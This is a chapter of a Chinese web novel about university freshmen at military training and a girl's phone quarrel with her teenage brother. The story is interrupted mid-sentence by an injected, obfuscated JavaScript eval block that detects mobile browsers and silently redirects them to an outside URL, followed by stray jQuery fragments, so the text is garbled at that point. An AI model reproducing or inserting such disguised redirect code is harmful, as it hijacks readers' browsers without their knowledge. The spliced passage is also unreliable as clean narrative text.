4. 弟弟

作品:《在你遗忘之前

    不管怎么说,第一年的学费和住宿费有着落了。


    舒澄也打定主意,这是最后一次跟家里伸手要钱。她知道宜大学生这个身份在宜宁很容易找到家教的工作,于是打算军训后开始兼职。


    四百块,昨天还买了火车票,实际上只有三百多。


    学校的食堂再便宜,舒澄也没有信心能挺到寒假。


    新生报道结束后,学校给大家留下了一个三天的适应时间,接下来就会进行为期20天的军训。


    往年九月天气已经爽快,今年这个温度,让大家对即将到来的军训胆战不已。


    叶从容在寝室疯狂下单防晒,“我买一个乳液一个喷雾够不够?”没等有人接茬她就立马继续加购,“肯定不够啊我估计我一天就能用掉一瓶,我还是多买几个吧,有没有人要拼单?”


    陈小雨举手,“你买什么牌子?”


    叶从容说了一个牌子,陈小雨也用过,两个人便一起拼单。


    要下单前,叶从容回头问,“段斐,你买不买?满400-50。”


    段斐伸出一根食指晃了晃,“不用管我,你们买你们的。”


    叶从容:“你不怕晒黑吗?”


    段斐从柜子里拖出一个箱子,咔哒一声打开,“早买完了。”


    叶从容凑近一看,好家伙满满一箱子各种牌子,国内的国外的,乳液的膏霜的,喷雾的甚至还有抗光损面膜。


    “你搞走/私啊?”


    “啧。”段斐说:“就是有点爱囤货,你们也别买了,用我的好了,这一箱我估计我用不完。”


    叶从容嗷一声扑在段斐身上,“富二代就是好啊呜呜呜呜谢谢老天爷赐给我一个富二代,请你一直这么有钱下去可以吗?”


    段斐把她从身上扒拉下去,“那你要跟我爸说,只要他不破产就可以。”


    陈小雨拿出三张塔罗牌,“金币满满,破不了。”


    段斐彻底服了,冲她竖起一个大拇指。


    叶从容和陈小雨不客气,蹲在箱子旁边就挑起防晒。平价的大牌的、美国的泰国的,跟逛免税店似的,别说段斐一个,就是加上她们两个拼命用当乳液用也用不完,两个人一边羡慕一边往自己怀里塞。


    段斐看了眼在桌前看书的舒澄,“舒澄,你也过来拿吧。”


    舒澄:“我不用了,谢谢你。”


    叶从容拿了两三瓶,“你不怕晒黑吗?”


    舒澄:“晒太阳补钙。”


    叶从容噎了一下,继续埋头找防晒。她低声跟陈小雨咬耳朵,“咱们这位4号床真的有点难相处啊有没有。”


    陈小雨:头也不抬,“她是一个罐子。”


    “罐子?”叶从容不懂,“求解释。”


    “里面有水,但要有人倒出来。”


    叶从容敬佩道:“这你都能看出来?”


    陈小雨:“我算的。”


    叶从容:……当她没问。


    该来的总要来,军训第一天,太阳像被谁打了鸡血,从早站到晚,天空晴朗的连片云都没有。


    一天下来寝室几人像霜打了的茄子一样,连话最多的叶从容都坐在位置上蔫蔫的不说话。


    段斐有气无力道:“从容,你哥哥那居嗨无比的新专呢?放出来。”


    叶从容挣扎一阵,“胳膊抬不起来,没力气。”


    段斐:“那算了。”


    大家沉默了一阵,叶从容回了点力气,开始八卦,“你们知道计算机院有一个男生火了吗?”


    段斐:“有刷到,叫程、程什么来着。”


    陈小雨接:“程时屿。”


    叶从容兴奋道:“对!就叫程时屿,天呢我看了她们拍的照片,我能说下颚线比我的人生都清晰吗?”


    段斐:“在太阳下晒成狗还能帅吗?”


    叶从容:“那我们20天以后见分晓。”


    她订正,“不对,今天已经过去了,我们19天以后见分晓。据说帅哥都不会被晒黑的。”


    段斐抓狂:“还有19天吗?这样的日子还要19天能结束吗?”


    叶从容:“我看论坛上已经有人开始求雨了。”她下意识往左边一扫,默了,“咱们寝室就有一现成的。”


    陈小雨收起卡牌,“牌面说后天有雨。”


    “对。”叶从容举起手机,“天气软件上也写了。”


    陈小雨:“……”


    正拌嘴着,突然响起一阵拖拉椅子的声音。


    叶从容看过去,见舒澄从椅子上起身,目不斜视地从她们身后穿过,然后开门,走出去,关门。


    她咽了下口水,“不会是嫌咱们吵吧?”


    段斐瞅了一眼时间,“不能,应该到她吃饭的时间了。”


    叶从容喃喃道:“这真的是个罐子吗?”


    陈小雨重新拿出卡牌,“我想算一下谁是破局人,你俩好奇吗?”


    段斐对塔罗牌挺感兴趣的,就那么几张牌居然能解说出那么多种情况。


    她饶有兴趣,“看看。”


    三人来到公共长桌前,陈小雨将一块质感很好的紫色桌布铺在桌上,然后将塔罗牌铺开,停顿片刻,从中抽了三张。


    她一一翻开,细细看着牌面,末了抬头看段斐,“是你。”


    段斐指着自己,“我?”


    面对两个门外汉,陈小雨选择了一个最直观简单的解释,她拿出其中一张,是一个坐在溪边洗陶罐的女人。


    “舒澄的性格是一个装着水的罐子,而这张牌里,显示女人正拿着罐子将它里面的水倒出来,就代表能敞开她的心扉。”陈小雨点了点剩下两张,“这两张在指示洗罐子人所在的方向,就是你这边。”


    段斐听的一愣一愣,总觉得这不就是看图说话。


    怎么感觉哪哪都不靠谱。


    不过本就是玩玩,所以她笑笑也没放在心上,转头犯愁第二天的军训。


    陈小雨正要收起卡牌,手腕被一双温热的小手握住,一抬头,叶从容眸光闪亮。


    “小雨,亲爱的小雨,能帮我算一下我跟我家哥哥的缘分吗?”


    …


    舒澄在食堂吃完饭回来,推开寝室门,发现今晚寝室氛围有些不对。


    原本最热闹的叶从容的位置,此时寂静无比。


    她以为叶从容是睡了,便放轻脚步。


    陈小雨见了,道:“她没睡。”


    看舒澄疑惑,她指了指床铺上面的一团,“刚才你不在的时候,给她算了跟本命的缘分,出了一个恶魔牌,她现在正在伤心。”


    话音刚落,就听到一声压抑的尖叫从床铺上方传来。


    舒澄不懂什么是恶魔牌,但看叶从容的反应,应该不是什么好结果。


    她坐在桌前,翻开书。


    交


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143847|164614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谈声从阳台门咧开的缝隙中传来。


    “臭小子赶紧把电话给妈,不然你看我是不是一会儿打车回家暴打你一顿。”


    是段斐的声音,她似乎是在跟谁打电话。


    听内容,也许是段斐之前口中的那个弟弟。


    舒澄无意偷听别人讲电话,将注意力放到书里。


    结果段斐的声音越来越大。


    “呵呵你以为宜大军训时不让学生离校我就没办法了?”


    “你还想举报我?你有我们导员电话吗?”


    “妈的你是怎么知道的?”


    “没说脏话,你听错了。”


    “行,算我求你,把电话给妈,你要是不想看到你姐明天死在宜大操场上,你就现在、立刻、马上把电话给妈。”


    “那不叫作假,谢谢。那叫合理利用资源。”


    “给不给?”


    “再给你一次机会,给不给?”


    “再给你一次机会。”


    “我再给你——喂?喂?”


    ·


    “好啊臭小子敢挂我电话是吧!”段斐一把推开阳台门,风风火火怒气冲冲,她唰地拉开椅子,气得呼呼直喘,“敢挂我电话!”


    她拿出手机噼里啪啦一顿点,嫌不过瘾干脆发语音,“你敢挂我电话,最好别让你有什么把柄落在我手里,不然我真的会弄死你,知道吗?”


    “——段叙!”


    这是舒澄第一次听到段叙这个名字。


    虽然现在段斐很生气,但不难看出他们姐弟两个的感情应该很好。


    不然不会有来有回吵这么久。


    不像她和舒不凡。


    叶从容从上面露头出来,“段叙就是你那个16岁的弟弟?”


    “从今天开始不是了!”段斐一拍桌子,“我跟他断绝关系。”


    叶从容是独生女,她趴在床上,“咱们寝室就我一个独生子女吗?”


    她看了一眼下方专心看书的舒澄,“舒澄,你是独生子女吗?”


    舒澄:“……我不是。”


    “啊?你有兄弟姐妹?”


    舒澄轻轻点头,“我有一个弟弟。”


    段斐一听,坐直身体,“你也有一个弟弟?你弟弟多大?”


    舒澄:“今年初二。”


    “初二啊。”段斐道,“那你弟现在应该还处于比较听话的阶段吧?等到了高中那就完了,简直一活祖宗,真不知道我俩谁才是老大。”


    听话吗。


    舒澄想到在离家前几天,舒不凡还因为她多夹了一口辣椒炒肉里面的肉丝而将她的饭碗甩在地上。


    她轻声道:“还好。”


    关于独生子女的话题就此结束。


    第二天段斐没有翻腾出任何水花,不知道段叙那臭小子怎么跟妈说的,妈半夜给她发来消息,大意是考上宜大老老实实毕业不要搞花样,病例随便开她这个主任医师是要负法律责任的。


    所以她依旧是穿着一身绿油油的军装在大太阳下,向左转向右转顺便稍息。


    今年一整个九月的天气都倍儿好,连云都稀少。


    中途到是有一次阴云密布刮起大风,新生们开始兴奋大叫,结果风刮了几分钟,将整团乌云越刮越远。


    等到军训结束,教官都笑了。


    “你们是我带过——”


    “——最倒霉的一届。”